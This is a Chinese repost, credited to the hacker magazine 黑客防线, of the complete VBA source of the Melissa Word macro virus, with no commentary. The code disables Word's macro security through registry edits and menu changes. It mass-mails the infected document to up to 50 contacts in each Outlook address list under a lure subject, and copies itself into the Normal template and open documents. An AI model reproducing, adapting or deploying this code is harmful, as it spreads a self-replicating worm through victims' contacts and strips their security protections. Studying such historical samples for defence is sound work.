[转载]Melissa的源码

信息来源：黑客防线

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
   DasMapiName.Logon "profile", "password"
   For y = 1 To DasMapiName.AddressLists.Count
      Set AddyBook = DasMapiName.AddressLists(y)
      x = 1
      Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
      For oo = 1 To AddyBook.AddressEntries.Count
        Peep = AddyBook.AddressEntries(x)
        BreakUmOffASlice.Recipients.Add Peep
        x = x + 1
        If x > 50 Then oo = AddyBook.AddressEntries.Count
      Next oo
      BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
      BreakUmOffASlice.Body = "Here is that document you asked for ... don&#39;t show anyone else ;-)"
      BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
      BreakUmOffASlice.Send
      Peep = ""
   Next y
   DasMapiName.Logoff
  End If
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  Set ToInfect = ADI1
  ADI1.Name = "Melissa"
  DoAD = True
End If

If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If
   
If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
  Do While ADI1.CodeModule.Lines(1, 1) = ""
   ADI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
   ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
   BGN = BGN + 1
  Loop
End If
  
If DoAD = True Then
  Do While NTI1.CodeModule.Lines(1, 1) = ""
   NTI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
   ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
   BGN = BGN + 1
  Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  ActiveDocument.Saved = True
End If

&#39;WORD/Melissa written by Kwyjibo
&#39;Works in both Word 2000 and Word 97
&#39;Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
&#39;Word -> Email | Word 97 <--> Word 2000 ... it&#39;s a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game&#39;s over.  I&#39;m outta here."
End Sub


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